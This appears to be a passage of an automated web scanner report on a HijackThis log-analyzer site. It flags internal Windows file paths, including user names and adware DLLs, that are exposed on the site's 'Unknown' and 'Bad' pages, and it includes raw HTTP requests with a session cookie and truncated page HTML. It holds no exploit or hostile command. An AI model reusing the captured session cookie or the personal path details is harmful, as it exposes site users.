{
errorMsg();
}
}
//-->
</script></HEAD><Body><script type="text/javascript" ><!-- function launchWindow(url, features) { window.open(url, "_blank", features);} // --> </script><div id='container'>
<div id='header'>
<h1><a href='index.php4'><img src='Images/Superhero.gif' width='32px' hight='32px'>SpyAndSeek</a></h1>
<div class='side-header'> <a href='login.php4' id='section-profile'>LogIn</a>
<form action='Search.php4' method='get' id='search' onsubmit='Search.php4' class='search-compact' >
<input type='hidden' name='search' value='search' /><input type='text' name='search_for' maxlength='254' id='top-keywords' value='Search...' onfocus=" if(this.value=='Search...')this.value=''; " onblur= " if(this.value=='')this.value='Search...'; " /> <input type='image' id='top-submit' src='Images/search.gif' alt='Search' />
</form>
</div>

<div id='header-primary' >
<div>

</div>

<ul>
<li class='header-all'><a href='index.php4' ><strong>Home</strong></a></li><li class='header-all'><a href='http://blog.spyandseek.com'><strong>Blog</strong></a></li>
<li class='header-all'><a href='login.php4'><strong>LogIn</strong></a></li>
<li class='header-all'><a href='store.php4'><strong>Store</strong></a></li>
<li class='header-allt'><a href='contact.php4'><strong>Contact Me</strong></a></li>
<li class='menu-container current'><a href='FAQ.php4'><strong>FAQ</strong></a></li>

</ul>
</div><div id='header-secondary'>
<ul>
<li ><a href='logja-vu.php4'><strong>Logja-vu</strong></a></li>
<li ><a href='newgood.php4'><strong>Good</strong></a></li>
<li ><a href='newbad.php4'><strong>Bad</strong></a></li>
<li ><a href='topunknown.php4'><strong>Unknown</strong></a></li>
</ul>
</div></div><div id='contents'><div id='wrapper'><div class='sidebar'>

<div class='side-container' style='display: none'>
<div class='side-options'></div>
</div>
<div class='side-container'><p class='first'>


</p>
</div>
<div class="side-container">
<script type="text/javascript"><!--
google_ad_client = "pub-1674685026599860";
/* 160x600, created 6/5/09 */
google_ad_slot = "3236620257";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>
</div><div class='main'><div id='announce'><p>
Helpful Software:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='http://www.trendsecure.com/portal/en-US/tools/security_tools/hijackthis/download'> HijackThis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=AVG%20Anti-Virus'> AVG Anti-Virus </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=MalwareBytes'> MalwareBytes </a><img src='Images/Superhero.gif' width='10px' hight='10px'> <a href="javascript:addEngine('SpyandSeek','png','Web')" title='Install 'SpyandSeek' Firefox Search Plugin'>Firefox Search Plugin</a><img src='Images/Superhero.gif' width='10px' hight='10px'>

<br>Suggested Reading:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Analysis'> Malware Analysis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Removal'> Malware Removal </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=steal%20this%20computer%20book'> PC Security Secrets </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
</p>
</div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'><table cellspacing='0'>
<tr ><th scope='col' align='left' colspan='3' ><table cellspacing='2' cellpadding='0' border='0'> <td><FORM method='post' action='newgood.php4'><input type='hidden' name='navi' value='0' /> <INPUT class='press' type='submit' value='Next Pg'> </form></td> <td><FORM name='myform' method='post' action='newgood.php4'><select name="navi" style="font-size:10px; height:20px; width:100px" size="1" onchange="submit()" ><option value='-30'>PG 1 </option><option value='-30'>1</option><option value='0'>2</option><option value='30'>3</option><option value='60'>4</option><option value='90'>5</option><option value='120'>6</option><option value='150'>7</option><option value='180'>8</option><option value='210'>9</option><option value='240'>10</option><option value='270'>11</option><option value='300'>12</option><option value='330'>13</option><option value='360'>14</option><option value='390'>15</option><option value='420'>16</option><option value='450'>17</option><option value='480'>18</option><option value='510'>19</option><option value='540'>20</option><option value='570'>21</option><option value='600'>22</option><option value='630'>23</option><option value='660'>24</option><option value='690'>25</option><option value='720'>26</option><option value='750'>27</option><option value='780'>28</option><option value='810'>29</option><option value='840'>30</option><option value='870'>31</option><option value='900'>32</option><option value='930'>33</option><option value='960'>34</option><option value='990'>35</option><option value='1020'>36</option><option value='1050'>37</option><option value='1080'>38</option><option value='1110'>39</option><option value='1140'>40</option><option value='1170'>41</option><option value='1200'>42</option><option value='1230'>43</option><option value='1260'>44</option><option value='1290'>45</option><option value='1320'>46</option><option value='1350'>47</option><option value='1380'>48</option><option value='1410'>49</option><option value='1440'>50</option><option value='1470'>51</option><option value='1500'>52</option><option value='1530'>53</option><option value='1560'>54</option><option value='1590'>55</option><option value='1620'>56</option><option value='1650'>57</option><option value='1680'>58</option><option value='1710'>59</option><option value='1740'>60</option><option value='1770'>61</option><option value='1800'>62</option><option value='1830'>63</option><option value='1860'>64</option><option value='1890'>65</option><option value='1920'>66</option><option value='1950'>67</option><option value='1980'>68</option><option value='2010'>69</option><option value='2040'>70</option><option value='2070'>71</option><option value='2100'>72</option><option value='2130'>73</option><option value='2160'>74</option><option value='2190'>75</option><option value='2220'>76</option><option value='2250'>77</option><option value='2280'>78</option><option value='2310'>79</option><option value='2340'>80</option><option value='2370'>81</option><option value='2400'>82</option><option value='2430'>83</option><option value='2460'>84</option><option value='2490'>85</option><option value='2520'>86</option><option value='2550'>87</option><option value='2580'>88</option><option value='2610'>89</option><option value='2640'>90</option><option value='2670'>91</option><option value='2700'>92</option><option value='2730'>93</option><option value='2760'>94</option><option value='2790'>95</option><option value='2820'>96</option><option value='2850'>97</option><option value='2880'>98</option><option value='2910'>99</option><option value='2940'>100</option><option value='2970'>101</option><option value='3000'>102</option><option value='3030'>103</option><option value='3060'>104</option><option value='3090'>105</option><option value='3120'>106</option><option value='3150'>107</option><option value='3180'>108</option><option value='3210'>109</option><option value='3240'>110</option><option value='3270'>111</option><option value='3300'>112</option><option value='3330'>113</option><option value='3360'>114</option><option value='3390'>115</option><option value='3420'>116</option><option value='3450'>117</option><option value='3480'>118</option><option value='3510'>119</option><option value='3540'>120</option><option value='3570'>121</option><option value='3600'>122</option><option value='3630'>123</option><option value='3660'>124</option><option value='3690'>125</option><option value='3720'>126</option><option value='3750'>127</option><option value='3780'>128</option><option value='3810'>129</option><option value='3840'>130</option><option value='3870'>131</option><option value='3900'>132</option><option value='3930'>133</option><option value='3960'>134</option><option value='3990'>135</option><option value='4020'>136</option><option value='4050'>137</option><option value='4080'>138</option><option value='4110'>139</option><option value='4140'>140</option><option value='4170'>141</option><option value='4200'>142</option><option value='4230'>143</option><option value='4260'>144</option><option value='4290'>145</option><option value='4320'>146</option><option value='4350'>147</option><option value='4380'>148</option><option value='4410'>149</option><option value='4440'>150</option><option value='4470'>151</option><option value='4500'>152</option><option value='4530'>153</option><option value='4560'>154</option><option value='4590'>155</option><option value='4620'>156</option><option value='4650'>157</option><option value='4680'>158</option><option value='4710'>159</option><option value='4740'>160</option><option value='4770'>161</option><option value='4800'>162</option><option value='4830'>163</option><option value='4860'>164</option><option value='4890'>165</option><option value='4920'>166</option><option value='4950'>167</option><option value='4980'>168</option><option value='5010'>169</option><option value='5040'>170</option><option value='5070'>171</option><option value='5100'>172</option><option value='5130'>173</option><option value='5160'>174</option><option value='5190'>175</option><option value='5220'>176</option><option value='5250'>177</option><option value='5280'>178</option><option value='5310'>179</option><option value='5340'>180</option><option value='5370'>181</option><option value='5400'>182</option><option value='5430'>183</option><option value='5460'>184</option><option value='5490'>185</option><option value='5520'>186</option><option value='5550'>187</option><option value='5580'>188</option><option value='5610'>189</option><option value='5640'>190</option><option value='5670'>191</option><option value='5700'>192</option><option value='5730'>193</option><option value='5760'>194</option><option value='5790'>195</option><option value='5820'>196</option><option value='5850'>197</option><option value='5880'>198</option><option value='5910'>199</option><option value='5940'>200</option><option value='5970'>201</option><option value='6000'>202</option><option value='6030'>203</option><option value='6060'>204</option><option value='6090'>205</option><option value='6120'>206</option><option value='6150'>207</option><option value='6180'>208</option><option value='6210'>209</option><option value='6240'>210</option><option value='6270'>211</option><option value='6300'>212</option><option value='6330'>213</option><option value='6360'>214</option><option value='6390'>215</option><option value='6420'>216</option><option value='6450'>217</option><option value='6480'>218</option><option value='6510'>219</option><option value='6540'>220</option><option value='6570'>221</option><option value='6600'>222</option><option value='6630'>223</option><option value='6660'>224</option><option value='6690'>225</option><option value='6720'>226</option><option value='6750'>227</option><option value='6780'>228</option><option value='6810'>229</option><option value='6840'>230</option><option value='6870'>231</option><option value='6900'>232</option><option value='6930'>233</option><option value='6960'>234</option><option value='6990'>235</option><option value='7020'>236</option><option value='7050'>237</option><option value='7080'>238</option><option value='7110'>239</option><option value='7140'>240</option><option value='7170'>241</option><option value='7200'>242</option><option value='7230'>243</option><option value='7260'>244</option><option value='7290'>245</option><option value='7320'>246</option><option value='7350'>247</option><option value='7380'>248</option><option value='7410'>249</option><option value='7440'>250</option><option value='7470'>251</option><option value='7500'>252</option><option value='7530'>253</option><option value='7560'>254</option><option value='7590'>255</option><option value='7620'>256</option><option value='7650'>257</option><option value='7680'>258</option><option value='7710'>259</option><option value='7740'>260</option><option value='7770'>261</option><option value='7800'&g..
- /topunknown.php4

/topunknown.php4

http://www.spyandseek.com/topunknown.php4

Identified Internal Path(s)

  • C:\Program Files (x86)\TOSHIBA
  • C:\PROGRA~2\MICROS~4\Office12\EXCEL.EXE/3000
  • C:\Program Files (x86)\TOSHIBA\TOSHIBA Media
  • C:\Program Files (x86)\Norton PC
  • C:\Program
  • C:\Windows\system32\lxdxcoms.exe (file missing
  • C:\Users\Martha\Desktop\HJT\HijackThis.exe
  • C:\Users\Martha\Desktop\SystemAnalyzerGeekSquad5-6
  • C:\windows\LMIE3AA.tmp\LMI_Rescue.exe
  • C:\windows\LMIE3AA.tmp\LMI_Rescue_srv.exe
  • C:\Program Files (x86)\Google\Google
  • D:\x fire\Xfire\Xfire.exe
  • C:\Program Files\SpySpotter3\SpySpotter.exe
  • C:\DOCUME~1\Willem\tijdelijke map\HijackThis.exe
  • H:\support\Register\RegistrationReminder.exe
  • C:\Windows\LMIA7B4.tmp\LMI_Rescue_srv.exe
  • C:\Windows\system32\Hpservice.exe (file missing
  • C:\Program Files (x86)\HP Games\HP Game
  • C:\Program Files
  • C:\Windows\System32\DriverStore\FileRepository\stw

Request

GET /topunknown.php4 HTTP/1.1
Referer: http://www.spyandseek.com/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.spyandseek.com
Cookie: PHPSESSID=78dc515921c88469fd044ccae7fd588b
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 16:08:25 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Spy And Seek the HijackThis Log Analyzer</title>
<meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1' />
<META NAME='keywords' content='computer, Service, Hijack, Hijacker, HijackThis, Logfile, analysis, Malware, Spyware, Trojan,desktop,repair,maintenance,fix. '/>
<META NAME='description' content='SpyAndSeek.com || HijackThis On Line Log Analyzer.'/><META NAME='Title' CONTENT='HijackThis Logfile Analyzer'>
<style type='text/css' media='all'>@import 'CSS/global.css';</style>
<style type='text/css' media='all'>@import 'CSS/lightbox.css';</style>

<!--[if lte IE 6]><style type='text/css' media='all'>@import 'CSS/ie6.css';</style><![endif]-->
<!--[if gt IE 6]><style type='text/css' media='all'>@import 'CSS/ie7.css';</style><![endif]--><META NAME='REVISIT-AFTER' CONTENT='2 Days'><META NAME='ROBOTS' CONTENT='NOFOLLOW'><link rel='shortcut icon' ico = image/x-icon href='http://www.spyandseek.com/favicon.ico'><script type="text/javascript">
<!--
function errorMsg()
{
alert("Netscape 6 or Mozilla Firefox is needed to install a search plugin.");
}
function addEngine(name,ext,cat)
{
if ((typeof window.sidebar == "object") && (typeof
window.sidebar.addSearchEngine == "function"))
{
//cat="Web"; //cat=prompt('In what category should this engine be installed?','Web')window.sidebar.addSearchEngine(
"http://www.spyandseek.com/firefoxplugins/"+name+".src",
"http://www.spyandseek.com/firefoxplugins/"+name+"."+ext,
name,
cat );
}
else
{
errorMsg();
}
}
//-->
</script></HEAD><Body><script type="text/javascript" ><!-- function launchWindow(url, features) { window.open(url, "_blank", features);} // --> </script><div id='container'>
<div id='header'>
<h1><a href='index.php4'><img src='Images/Superhero.gif' width='32px' hight='32px'>SpyAndSeek</a></h1>
<div class='side-header'> <a href='login.php4' id='section-profile'>LogIn</a>
<form action='Search.php4' method='get' id='search' onsubmit='Search.php4' class='search-compact' >
<input type='hidden' name='search' value='search' /><input type='text' name='search_for' maxlength='254' id='top-keywords' value='Search...' onfocus=" if(this.value=='Search...')this.value=''; " onblur= " if(this.value=='')this.value='Search...'; " /> <input type='image' id='top-submit' src='Images/search.gif' alt='Search' />
</form>
</div>

<div id='header-primary' >
<div>

</div>

<ul>
<li class='header-all'><a href='index.php4' ><strong>Home</strong></a></li><li class='header-all'><a href='http://blog.spyandseek.com'><strong>Blog</strong></a></li>
<li class='header-all'><a href='login.php4'><strong>LogIn</strong></a></li>
<li class='header-all'><a href='store.php4'><strong>Store</strong></a></li>
<li class='header-allt'><a href='contact.php4'><strong>Contact Me</strong></a></li>
<li class='menu-container current'><a href='FAQ.php4'><strong>FAQ</strong></a></li>

</ul>
</div><div id='header-secondary'>
<ul>
<li ><a href='logja-vu.php4'><strong>Logja-vu</strong></a></li>
<li ><a href='newgood.php4'><strong>Good</strong></a></li>
<li ><a href='newbad.php4'><strong>Bad</strong></a></li>
<li ><a href='topunknown.php4'><strong>Unknown</strong></a></li>
</ul>
</div></div><div id='contents'><div id='wrapper'><div class='sidebar'>

<div class='side-container' style='display: none'>
<div class='side-options'></div>
</div>
<div class='side-container'><p class='first'>


</p>
</div>
<div class="side-container">
<script type="text/javascript"><!--
google_ad_client = "pub-1674685026599860";
/* 160x600, created 6/5/09 */
google_ad_slot = "3236620257";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>
</div><div class='main'><div id='announce'><p>
Helpful Software:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='http://www.trendsecure.com/portal/en-US/tools/security_tools/hijackthis/download'> HijackThis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=AVG%20Anti-Virus'> AVG Anti-Virus </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=MalwareBytes'> MalwareBytes </a><img src='Images/Superhero.gif' width='10px' hight='10px'> <a href="javascript:addEngine('SpyandSeek','png','Web')" title='Install 'SpyandSeek' Firefox Search Plugin'>Firefox Search Plugin</a><img src='Images/Superhero.gif' width='10px' hight='10px'>

<br>Suggested Reading:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Analysis'> Malware Analysis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Removal'> Malware Removal </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=steal%20this%20computer%20book'> PC Security Secrets </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
</p>
</div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'><table cellspacing='0'>
<tr ><th scope='col' align='left' colspan='3' ><table cellspacing='2' cellpadding='0' border='0'> <td><FORM method='post' action='topunknown.php4'><input type='hidden' name='navi' value='0' /> <INPUT class='press' type='submit' value='Next Pg'> </form></td> <td><FORM name='myform' method='post' action='topunknown.php4'><select name="navi" style="font-size:10px; height:20px; width:100px" size="1" onchange="submit()" ><option value='-30'>PG 1 </option><option value='-30'>1</option><option value='0'>2</option><option value='30'>3</option><option value='60'>4</option><option value='90'>5</option><option value='120'>6</option><option value='150'>7</option><option value='180'>8</option><option value='210'>9</option><option value='240'>10</option><option value='270'>11</option><option value='300'>12</option><option value='330'>13</option><option value='360'>14</option><option value='390'>15</option><option value='420'>16</option><option value='450'>17</option><option value='480'>18</option><option value='510'>19</option><option value='540'>20</option><option value='570'>21</option><option value='600'>22</option><option value='630'>23</option><option value='660'>24</option><option value='690'>25</option><option value='720'>26</option><option value='750'>27</option><option value='780'>28</option><option value='810'>29</option><option value='840'>30</option><option value='870'>31</option><option value='900'>32</option><option value='930'>33</option><option value='960'>34</option><option value='990'>35</option><option value='1020'>36</option><option value='1050'>37</option><option value='1080'>38</option><option value='1110'>39</option><option value='1140'>40</option><option value='1170'>41</option><option value='1200'>42</option><option value='1230'>43</option><option value='1260'>44</option><option value='1290'>45</option><option value='1320'>46</option><option value='1350'>47</option><option value='1380'>48</option><option value='1410'>49</option><option value='1440'>50</option><option value='1470'>51</option><option value='1500'>52</option><option value='1530'>53</option><option value='1560'>54</option><option value='1590'>55</option><option value='1620'>56</option><option value='1650'>57</option><option value='1680'>58</option><option value='1710'>59</option><option value='1740'>60</option><option value='1770'>61</option><option value='1800'>62</option><option value='1830'>63</option><option value='1860'>64</option><option value='1890'>65</option><option value='1920'>66</option><option value='1950'>67</option><option value='1980'>68</option><option value='2010'>69</option><option value='2040'>70</option><option value='2070'>71</option><option value='2100'>72</option><option value='2130'>73</option><option value='2160'>74</option><option value='2190'>75</option><option value='2220'>76</option><option value='2250'>77</option><option value='2280'>78</option><option value='2310'>79</option><option value='2340'>80</option><option value='2370'>81</option><option value='2400'>82</option><option value='2430'>83</option><option value='2460'>84</option><option value='2490'>85</option><option value='2520'>86</option><option value='2550'>87</option><option value='2580'>88</option><option value='2610'>89</option><option value='2640'>90</option><option value='2670'>91</option><option value='2700'>92</option><option value='2730'>93</option><option value='2760'>94</option><option value='2790'>95</option><option value='2820'>96</option><option value='2850'>97</option><option value='2880'>98</option><option value='2910'>99</option><option value='2940'>100</option><option value='2970'>101</option><option value='3000'>102</option><option value='3030'>103</option><option value='3060'>104</option><option value='3090'>105</option><option value='3120'>106</option><option value='3150'>107</option><option value='3180'>108</option><option value='3210'>109</option><option value='3240'>110</option><option value='3270'>111</option><option value='3300'>112</option><option value='3330'>113</option><option value='3360'>114</option><option value='3390'>115</option><option value='3420'>116</option><option value='3450'>117</option><option value='3480'>118</option><option value='3510'>119</option><option value='3540'>120</option><option value='3570'>121</option><option value='3600'>122</option><option value='3630'>123</option><option value='3660'>124</option><option value='3690'>125</option><option value='3720'>126</option><option value='3750'>127</option><option value='3780'>128</option><option value='3810'>129</option><option value='3840'>130</option><option value='3870'>131</option><option value='3900'>132</option><option value='3930'>133</option><option value='3960'>134</option><option value='3990'>135</option><option value='4020'>136</option><option value='4050'>137</option><option value='4080'>138</option><option value='4110'>139</option><option value='4140'>140</option><option value='4170'>141</option><option value='4200'>142</option><option value='4230'>143</option><option value='4260'>144</option><option value='4290'>145</option><option value='4320'>146</option><option value='4350'>147</option><option value='4380'>148</option><option value='4410'>149</option><option value='4440'>150</option><option value='4470'>151</option><option value='4500'>152</option><option value='4530'>153</option><option value='4560'>154</option><option value='4590'>155</option><option value='4620'>156</option><option value='4650'>157</option><option value='4680'>158</option><option value='4710'>159</option><option value='4740'>160</option><option value='4770'>161</option><option value='4800'>162</option><option value='4830'>163</option><option value='4860'>164</option><option value='4890'>165</option><option value='4920'>166</option><option value='4950'>167</option><option value='4980'>168</option><option value='5010'>169</option><option value='5040'>170</option><option value='5070'>171</option><option value='5100'>172</option><option value='5130'>173</option><option value='5160'>174</option><option value='5190'>175</option><option value='5220'>176</option><option value='5250'>177</option><option value='5280'>178</option><option value='5310'>179</option><option value='5340'>180</option><option value='5370'>181</option><option value='5400'>182</option><option value='5430'>183</option><option value='5460'>184</option><option value='5490'>185</option><option value='5520'>186</option><option value='5550'>187</option><option value='5580'>188</option><option value='5610'>189</option><option value='5640'>190</option><option value='5670'>191</option><option value='5700'>192</option><option value='5730'>193</option><option value='5760'>194</option><option value='5790'>195</option><option value='5820'>196</option><option value='5850'>197</option><option value='5880'>198</option><option value='5910'>199</option><option value='5940'>200</option><option value='5970'>201</option><option value='6000'>202</option><option value='6030'>203</option><option value='6060'>204</option><option value='6090'>205</option><option value='6120'>206</option><option value='6150'>207</option><option value='6180'>208</option><option value='6210'>209</option><option value='6240'>210</option><option value='6270'>211</option><option value='6300'>212</option><option value='6330'>213</option><option value='6360'>214</option><option value='6390'>215</option><option value='6420'>216</option><option value='6450'>217</option><option value='6480'>218</option><option value='6510'>219</option><option value='6540'>220</option><option value='6570'>221</option><option value='6600'>222</option><option value='6630'>223</option><option value='6660'>224</option><option value='6690'>225</option><option value='6720'>226</option><option value='6750'>227</option><option value='6780'>228</option><option value='6810'>229</option><option value='6840'>230</option><option value='6870'>231</option><option value='6900'>232</option><option value='6930'>233</option><option value='6960'>234</option><option value='6990'>235</option><option value='7020'>236</option><option value='7050'>237</option><option value='7080'>238</option><option value='7110'>239</option><option value='7140'>240</option><option value='7170'>241</option><option value='7200'>242</option><option value='7230'>243</option><option value='7260'>244</option><option value='7290'>245</option><option value='7320'>246</option><option value='7350'>247</option><option value='7380'>248</option><option value='7410'>249</option><option value='7440'>250</option><option value='7470'>251</option><option value='7500'>252</option><option value='7530'>253</option><option value='7560'>254</option><option value='7590'>255</option><option value='7620'>256</option><option value='7650'>257</option><option value='7680'>258</option><option value='7710'>259</option><option value='7740'>260</option><option value='7770'>261</option><option value='7..
- /newbad.php4

/newbad.php4

http://www.spyandseek.com/newbad.php4

Identified Internal Path(s)

  • C:\Program Files\BitTorrentBar\prxtbBit0.dll
  • C:\Program Files
  • C:\Program Files\GamesBar\2.0.1.78\oberontb.dll
  • C:\Users\Carebear\AppData\Local\Temp\low\COUPON~1
  • C:\Users\Carebear\AppData\Local\Temp\low\CouponsBa
  • D:\Programmi\WinHTTrack\WinHTTrackIEBar.dll
  • C:\Program Files\alot\bin\BHO\alotBHO.dll (file
  • C:\Program Files (x86)\BitTorrentBar\prxtbBitT.dll
  • c:\nosunel.mht
  • E:\Program Files
  • C:\PROGRA~2\Crawler\ctbr.dll
  • C:\Program Files (x86)\Ancestry
  • C:\WINDOWS\system32\ddcDUMdB.dll (file missing
  • C:\Program Files (x86)\Search

Request

GET /newbad.php4 HTTP/1.1
Referer: http://www.spyandseek.com/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.spyandseek.com
Cookie: PHPSESSID=78dc515921c88469fd044ccae7fd588b
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 16:08:23 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Spy And Seek the HijackThis Log Analyzer</title>
<meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1' />
<META NAME='keywords' content='computer, Service, Hijack, Hijacker, HijackThis, Logfile, analysis, Malware, Spyware, Trojan,desktop,repair,maintenance,fix. '/>
<META NAME='description' content='SpyAndSeek.com || HijackThis On Line Log Analyzer.'/><META NAME='Title' CONTENT='HijackThis Logfile Analyzer'>
<style type='text/css' media='all'>@import 'CSS/global.css';</style>
<style type='text/css' media='all'>@import 'CSS/lightbox.css';</style>

<!--[if lte IE 6]><style type='text/css' media='all'>@import 'CSS/ie6.css';</style><![endif]-->
<!--[if gt IE 6]><style type='text/css' media='all'>@import 'CSS/ie7.css';</style><![endif]--><META NAME='REVISIT-AFTER' CONTENT='2 Days'><META NAME='ROBOTS' CONTENT='NOFOLLOW'><link rel='shortcut icon' ico = image/x-icon href='http://www.spyandseek.com/favicon.ico'><script type="text/javascript">
<!--
function errorMsg()
{
alert("Netscape 6 or Mozilla Firefox is needed to install a search plugin.");
}
function addEngine(name,ext,cat)
{
if ((typeof window.sidebar == "object") && (typeof
window.sidebar.addSearchEngine == "function"))
{
//cat="Web"; //cat=prompt('In what category should this engine be installed?','Web')window.sidebar.addSearchEngine(
"http://www.spyandseek.com/firefoxplugins/"+name+".src",
"http://www.spyandseek.com/firefoxplugins/"+name+"."+ext,
name,
cat );
}
else
{
errorMsg();
}
}
//-->
</script></HEAD><Body><script type="text/javascript" ><!-- function launchWindow(url, features) { window.open(url, "_blank", features);} // --> </script><div id='container'>
<div id='header'>
<h1><a href='index.php4'><img src='Images/Superhero.gif' width='32px' hight='32px'>SpyAndSeek</a></h1>
<div class='side-header'> <a href='login.php4' id='section-profile'>LogIn</a>
<form action='Search.php4' method='get' id='search' onsubmit='Search.php4' class='search-compact' >
<input type='hidden' name='search' value='search' /><input type='text' name='search_for' maxlength='254' id='top-keywords' value='Search...' onfocus=" if(this.value=='Search...')this.value=''; " onblur= " if(this.value=='')this.value='Search...'; " /> <input type='image' id='top-submit' src='Images/search.gif' alt='Search' />
</form>
</div>

<div id='header-primary' >
<div>

</div>

<ul>
<li class='header-all'><a href='index.php4' ><strong>Home</strong></a></li><li class='header-all'><a href='http://blog.spyandseek.com'><strong>Blog</strong></a></li>
<li class='header-all'><a href='login.php4'><strong>LogIn</strong></a></li>
<li class='header-all'><a href='store.php4'><strong>Store</strong></a></li>
<li class='header-allt'><a href='contact.php4'><strong>Contact Me</strong></a></li>
<li class='menu-container current'><a href='FAQ.php4'><strong>FAQ</strong></a></li>

</ul>
</div><div id='header-secondary'>
<ul>
<li ><a href='logja-vu.php4'><strong>Logja-vu</strong></a></li>
<li ><a href='newgood.php4'><strong>Good</strong></a></li>
<li ><a href='newbad.php4'><strong>Bad</strong></a></li>
<li ><a href='topunknown.php4'><strong>Unknown</strong></a></li>
</ul>
</div></div><div id='contents'><div id='wrapper'><div class='sidebar'>

<div class='side-container' style='display: none'>
<div class='side-options'></div>
</div>
<div class='side-container'><p class='first'>


</p>
</div>
<div class="side-container">
<script type="text/javascript"><!--
google_ad_client = "pub-1674685026599860";
/* 160x600, created 6/5/09 */
google_ad_slot = "3236620257";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>
</div><div class='main'><div id='announce'><p>
Helpful Software:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='http://www.trendsecure.com/portal/en-US/tools/security_tools/hijackthis/download'> HijackThis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=AVG%20Anti-Virus'> AVG Anti-Virus </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=MalwareBytes'> MalwareBytes </a><img src='Images/Superhero.gif' width='10px' hight='10px'> <a href="javascript:addEngine('SpyandSeek','png','Web')" title='Install 'SpyandSeek' Firefox Search Plugin'>Firefox Search Plugin</a><img src='Images/Superhero.gif' width='10px' hight='10px'>

<br>Suggested Reading:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Analysis'> Malware Analysis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Removal'> Malware Removal </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=steal%20this%20computer%20book'> PC Security Secrets </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
</p>
</div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'><table cellspacing='0'>
<tr ><th scope='col' align='left' colspan='3' ><table cellspacing='2' cellpadding='0' border='0'> <td><FORM method='post' action='newbad.php4'><input type='hidden' name='navi' value='0' /> <INPUT class='press' type='submit' value='Next Pg'> </form></td> <td><FORM name='myform' method='post' action='newbad.php4'><select name="navi" style="font-size:10px; height:20px; width:100px" size="1" onchange="submit()" ><option value='-30'>PG 1 </option><option value='-30'>1</option><option value='0'>2</option><option value='30'>3</option><option value='60'>4</option><option value='90'>5</option><option value='120'>6</option><option value='150'>7</option><option value='180'>8</option><option value='210'>9</option><option value='240'>10</option><option value='270'>11</option><option value='300'>12</option><option value='330'>13</option><option value='360'>14</option><option value='390'>15</option><option value='420'>16</option><option value='450'>17</option><option value='480'>18</option><option value='510'>19</option><option value='540'>20</option><option value='570'>21</option><option value='600'>22</option><option value='630'>23</option><option value='660'>24</option><option value='690'>25</option><option value='720'>26</option><option value='750'>27</option><option value='780'>28</option><option value='810'>29</option><option value='840'>30</option><option value='870'>31</option><option value='900'>32</option><option value='930'>33</option><option value='960'>34</option><option value='990'>35</option><option value='1020'>36</option><option value='1050'>37</option><option value='1080'>38</option><option value='1110'>39</option><option 